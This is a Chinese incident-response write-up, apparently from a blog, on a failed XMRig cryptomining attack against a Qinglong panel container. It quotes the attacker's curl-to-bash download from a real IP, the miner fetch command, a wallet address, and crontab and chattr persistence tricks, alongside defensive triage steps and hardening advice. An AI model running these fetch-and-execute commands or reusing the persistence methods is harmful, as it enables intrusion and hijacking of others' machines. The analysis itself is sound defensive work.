这是一起典型的容器入侵事件,攻击者试图通过青龙面板漏洞投递挖矿木马。虽然攻击最终失败,但整个排查过程值得分享出来,一起记录和学习。
事件背景
那天我发现最近在青龙面板运行的脚本不再运行了,并且在互联网发现最近几天流行青龙面板的相关POC,感觉可能该服务器也可能受到相关影响。

这台服务器是我闲置的测试机(2核CPU,Ubuntu 22.04),跑些不重要的自动化脚本。既然不是什么核心业务,于是并没有尽快处理(别学我,高危漏洞要秒修),顺便保留了现场。
三天后,我抽时间,开始正式排查。
排查阶段
01
2.1 容器信息确认
由于是 Docker 部署,我先确认了几个前置信息:
docker ps -a

关键发现 :
- 容器 ID :625cff7ff49c(青龙 2.18.0)
- 挂载情况 :只映射 `/ql/data` ,没有挂载 Docker Socket(万幸,不然宿主机也凉了)
- 容器状态 :Up 39hours (unhealthy)
⚠️ 注意:Unhealthy 说明容器内部可能已经有异常。

教训 :如果业务重要,这时候应该先备份数据卷,但我这个容器本来就是 unhealthy,直接进去看了。
2.2 检测阶段(Detection & Analysis)
进场第一件事:看进程,看网络。
docker exec -it 625cff7ff49c shps aux

输出很干净,没有异常进程,没有奇怪的 CPU 占用。但这只是表面------挖矿程序可能崩溃了,或者还没启动。
于是开始检查系统日志,读取到了该服务宕机后最后一天的日志。

可以发现,确实是受该漏洞影响,接口也为该POC接口。


在这个日志的最后,可以发现:
- 日志中存在下载行为:
curl -sLk http://104.168.64.199/logo.png
并用 bash 执行操作

下载这个 logo.png 并解析可以发现:

- 文件存在继续下载行为
- 这是一个典型的 XMRig 挖矿恶意软件

攻击行为分析
02
3.1 攻击者行为一览
| 行为 | 说明 |
| 隐藏自身 | 使用 `/dev/shm/.kernel_data` (内存文件系统,重启消失但难检测) |
| 清除痕迹 | 禁用历史记录、清空日志、删除自身文件 |
| 下载挖矿程序 | 从 104.168.64.199 下载 XMRig 6.25.0 |
| 伪装进程 | 重命名为 `.sys_daemon` (隐藏文件,看起来像系统进程) |
| 资源窃取 | 占用 CPU 进行挖矿 |
| 持久化控制 | 写入 crontab(每15分钟检查一次),root 用户还会设置 `chattr +i` (不可删除) |
|---|
3.2 攻击者使用的资源
-
钱包地址 :
4AE5D7Fz6dmMQp9Bj7239jdQzGBvPbQgP4bdDr6Y1iXSfTvEqNfHgBMH3ov3AcMy6tJPsZUfYfytUjcKfHjcpzxwPiQy7xP
- 矿池地址 : 104.168.64.199:443

进一步排查
03
再开始地毯式搜索近期新增文件:
find / -mtime -9 -type f 2> /dev/null | grep -v -E "(proc|sys)" | head -50

可以发现异常:发现了华点
/home/.kworker` (8KB,隐藏文件)
根据这个释放的文件可以知道:攻击者执行的这个脚本,将文件都给下载加载到 /tmp/.tmp下了,而且还写日志到了这个目录里。

可以看到,攻击者下载的脚本应该是并未成功执行。如果日志显示和脚本"xmrig 下载失败,退出执行",那么既不会解压 tar 包残留,也不会生成可执行文件。


至此,再对这个 docker 容器和主机进行排查后,未发现服务器存在其他异常行为。

总结与教训
这应该是很简单的一次批量扫描脚本挖矿攻击。

5.1 攻击者画像
- 攻击者使用空间搜索引擎搜索青龙面板的资产
- 然后再利用攻击 POC 脚本对相关资产进行批量扫描攻击
- 这样的攻击在互联网其实很常见
- 攻击者使用的脚本含金量基本为0
- 攻击行径基本透明,甚至攻击脚本都为 AI 写的(中文注释且都没对齐)
- 只是稍微做了下 history 清除之类的,甚至脚本执行失败了也不管之前释放的 log 文件
5.2 攻击结果
幸运的是 :这次攻击并未被成功攻击。攻击失败的原因是:
wget -qO- https://github.com/xmrig/xmrig/releases/download/v6.25.0/xmrig-6.25.0-linux-static-x64.tar.gz | tar -xzf -

GitHub 返回错误导致该次攻击失败。
若被成功攻击,则还需要对服务器进行更详细的排查及考虑重置服务器防止留有后门等。

安全建议
青龙面板该漏洞已经修复,如若还未升级还望各位师傅尽快升级!
容器安全建议
- 不要挂载 Docker Socket :这等同于给容器 root 权限,极易造成 docker 逃逸
- 及时更新 :关注青龙面板的最新版本和安全公告
- 网络隔离 :容器网络与宿主机分离
- 定期巡检 :检查容器健康状态和异常日志
入侵排查要点
-
检查容器健康状态(unhealthy 通常是信号)
-
查看系统日志中的异常下载行为
-
排查近期新增的隐藏文件
-
检查 crontab 持久化任务
-
关注 `/dev/shm` 等内存文件系统
本次溯源文件: